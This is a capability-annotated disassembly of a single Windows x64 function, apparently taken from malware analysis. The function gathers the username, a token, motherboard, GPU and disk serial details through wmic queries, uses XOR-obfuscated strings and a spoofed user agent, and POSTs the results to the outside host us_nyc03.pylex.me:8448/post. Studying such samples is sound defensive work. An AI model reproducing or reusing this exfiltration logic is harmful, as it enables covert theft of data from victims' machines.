Function at 0x140076e40
Capabilities:
Encode data using xor
Initialize winhttp library
Reference http user-agent string

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1a0
mov rax, qword [0x140136210]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov r13, r8
mov r14, rdx
mov r15, rcx
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xe8], rdx
xor edi, edi
mov qword [rsp + 0x150], rdi
lea rax, [0x14011ba60]
mov qword [rsp + 0x140], rax
lea rsi, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__Trident_5.0_
mov qword [rsp + 0x148], rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
movdqa xmm1, xmmword [0x14011da60]
movdqu xmmword [rsp + 0x108], xmm1
mov byte [rsp + 0xf8], dil
lea rcx, [rsp + 0x70]
call fcn.1400725f0
mov rbx, rax
lea r12, [0x14018c9d0]
cmp r12, rax
je 0x140076f61
mov rdx, qword [0x14018c9e8]
cmp rdx, 0x10
jb 0x140076f24
mov rcx, qword [0x14018c9d0]
inc rdx
cmp rdx, 0x1000
jb 0x140076f1f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781b0
mov rcx, r8
call fcn.1400a7470
mov qword [0x14018c9e0], rdi
mov qword [0x14018c9e8], 0xf
mov byte [0x14018c9d0], 0
movups xmm0, xmmword [rbx]
movaps xmmword [0x14018c9d0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [0x14018c9e0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x140076fa1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140076f9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781b0
call fcn.1400a7470
cmp qword [0x14018c9e0], 1
jae 0x140077191
mov eax, dword [0x14011d7bc]
mov dword [rsp + 0x40], eax
movzx ecx, word [0x14011d7c0]
mov word [rsp + 0x44], cx
movzx eax, byte [0x14011d7c2]
mov byte [rsp + 0x40], 0x42
xor byte [rsp + 0x41], 0x3a
xor byte [rsp + 0x42], 0x3b
xor byte [rsp + 0x43], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x44], cl
xor byte [rsp + 0x45], 0x3e
xor al, 0x3f
mov byte [rsp + 0x46], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x148], xmm1
mov r8d, 3
lea rdx, [0x14011c274]
lea rcx, [rsp + 0x138]
call fcn.14000efc0
nop
lea rdx, [rsp + 0x138]
mov rcx, r13
call fcn.140068520
lea rcx, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x140077040
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.14000c750
nop
mov rdx, qword [rsp + 0x150]
cmp rdx, 0x10
jb 0x14007709c
inc rdx
mov rcx, qword [rsp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077096
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781b6
call fcn.1400a7470
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x1400770df
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400770da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078228
call fcn.1400a7470
movdqa xmm0, xmmword [0x14011da60]
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x140077132
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14007712d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781c2
mov rcx, r8
call fcn.1400a7470
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14007717c
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140077177
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781c8
mov rcx, r8
call fcn.1400a7470
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x140078187
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x138], rax
test rax, rax
jne 0x1400772ac
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x1400771fa
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400771f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078228
call fcn.1400a7470
movdqa xmm0, xmmword [0x14011da60]
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x14007724d
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140077248
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781c2
mov rcx, r8
call fcn.1400a7470
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140077297
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140077292
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781c8
mov rcx, r8
call fcn.1400a7470
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
jmp 0x140078187
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rbx, rax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x118]
call fcn.140009f60
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov r8d, 0xe
lea rdx, str.sendWebhookban
lea rcx, [rsp + 0x48]
call fcn.14000efc0
nop
mov r9, rbx
mov r8, rsi
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x14007733c
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077350
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.command
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x1400773bf
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400773ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781bc
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x48]
call fcn.140009f60
mov rbx, rax
mov rdx, r15
lea rcx, [rsp + 0x118]
call fcn.140009f60
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077431
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077440
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.username
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x1400774af
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400774aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781ce
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x48]
call fcn.140009f60
mov rbx, rax
mov rdx, r14
lea rcx, [rsp + 0x118]
call fcn.140009f60
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077521
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077530
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.message
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007759f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007759a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781d4
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x48]
call fcn.140009f60
mov rbx, rax
lea rdx, [0x14018ca10]
lea rcx, [rsp + 0x118]
call fcn.140009f60
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077615
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077620
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.token
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007768f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007768a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781da
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x48]
call fcn.140009f60
mov rbx, rax
lea rcx, [rsp + 0x118]
call fcn.140011dd0
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400776fe
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077710
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, [0x14011c760]
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007777f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007777a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781e0
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x48]
call fcn.140009f60
mov rbx, rax
lea rcx, [rsp + 0x118]
call fcn.140012640
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400777ee
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077800
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.motherboard
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007786f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007786a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781e6
call fcn.1400a7470
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0x118]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0x118]
call fcn.140009f60
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 0x3c
lea rdx, str.wmic_PATH_Win32_VideoController_GET_Description__PNPDeviceID
lea rcx, [rsp + 0x48]
call fcn.14000efc0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.1400123a0
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077912
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077920
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, [0x14011c7b8]
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x14007798f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007798a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781ec
call fcn.1400a7470
movdqa xmm0, xmmword [0x14011da60]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1400779e2
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400779dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781f2
call fcn.1400a7470
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xc0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov r8d, 1
lea rdx, [0x14011aae4]
lea rcx, [rsp + 0x48]
call fcn.14000efc0
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x118]
call fcn.140011720
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077a85
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077a90
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, [0x14011c7bc]
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x140077aff
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077afa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781f8
call fcn.1400a7470
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xc0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 0x1f
lea rdx, str.wmic_diskdrive_get_serialnumber
lea rcx, [rsp + 0x48]
call fcn.14000efc0
nop
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x118]
call fcn.1400123a0
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077ba2
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop dword [rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077bb0
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, str.storage
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x140077c1f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077c1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400781fe
call fcn.1400a7470
movdqa xmm0, xmmword [0x14011da60]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140077c72
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077c6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078204
call fcn.1400a7470
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x90], rax
mov rdx, r12
lea rcx, [rsp + 0xc0]
call fcn.140009f60
mov rsi, rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x68], rax
lea rdx, [0x14018c9f0]
lea rcx, [rsp + 0xa0]
call fcn.140009f60
mov rbx, rax
lea rcx, [rsp + 0x48]
call fcn.1400758c0
nop
mov r9, rsi
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400067a0
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x140077ce4
mov r9, qword [rax]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077cf0
mov byte [rsp + 0x43], 0
lea r8, [rsp + 0x40]
lea rdx, [0x14011c7e8]
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x140077d5f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077d5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007820a
call fcn.1400a7470
cmp qword [0x14018c9e8], 0x10
cmovae r12, qword [0x14018c9d0]
mov dword [rsp + 0x40], 0x100c493
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx - 0x4a]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 2
jb 0x140077d80
mov byte [rsp + 0x43], 0
mov r9, r12
lea r8, [rsp + 0x40]
lea rdx, [0x14011c56c]
lea rcx, [rsp + 0xf8]
call fcn.14005a2d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x158], xmm0
mov qword [rsp + 0x168], rdi
mov qword [rsp + 0x170], 0xf
mov byte [rsp + 0x158], 0
xor eax, eax
movups xmmword [rsp + 0x178], xmm0
mov qword [rsp + 0x188], rax
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
lea r8d, [rax + 0x1b]
lea rdx, str.Authorization:_PUBLIC_TOKEN
lea rcx, [rsp + 0x70]
call fcn.14005b450
nop
lea rax, [rsp + 0x70]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x178]
call fcn.14007d320
nop
lea r9, [fcn.14005a130]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rsp + 0x70]
call fcn.1400a74f8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
mov r8d, 0x22
lea rdx, str.http:__us_nyc03.pylex.me:8448_post
lea rcx, [rsp + 0x48]
call fcn.14005b450
lea rax, [rsp + 0x48]
mov qword [rsp + 0x90], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x118], xmm1
mov qword [rsp + 0x128], rdi
mov ebx, dword [rsp + 0x108]
dec ebx
lea rsi, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae rsi, qword [rsp + 0xf8]
inc rsi
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xc0]
call fcn.14005a1a0
lea rcx, [rsp + 0x178]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
lea r9, str.POST
lea r8, [rsp + 0x118]
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.14005a930
mov qword [rsp + 0x168], rdi
mov byte [rsp + 0x158], 0
mov r8, qword [rsp + 0x120]
mov rbx, qword [rsp + 0x118]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.14005b310
mov rdx, rax
lea rcx, [rsp + 0x158]
call fcn.140009d80
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140077f99
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140077f93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078210
call fcn.1400a7470
nop
test rbx, rbx
je 0x140077fd7
mov rdx, qword [rsp + 0x128]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x140077fce
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078216
mov rcx, rbx
call fcn.1400a7470
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140078019
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078014
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007821c
call fcn.1400a7470
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0xc0]
call fcn.140009f60
mov rdx, r13
mov rcx, rax
call fcn.140072920
mov rcx, qword [rsp + 0x138]
test rcx, rcx
je 0x14007804d
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
lea rcx, [rsp + 0x178]
call fcn.14007d850
nop
mov rdx, qword [rsp + 0x170]
cmp rdx, 0x10
jb 0x14007809f
inc rdx
mov rcx, qword [rsp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140078099
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078222
call fcn.1400a7470
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x1400780e3
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400780dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140078228
call fcn.1400a7470
nop
jmp 0x1400780f7
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x140078131
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x14007812c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007822e
mov rcx, r8
call fcn.1400a7470
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140078177
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140078172
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400781aa
mov rcx, r8
call fcn.1400a7470
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400a70e0
add rsp, 0x1a0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
int3
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
int3
call fcn.1400bc558
int3
call fcn.1400bc558
int3
call fcn.1400bc558
int3
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
int3
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
int3
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
nop
call fcn.1400bc558
int3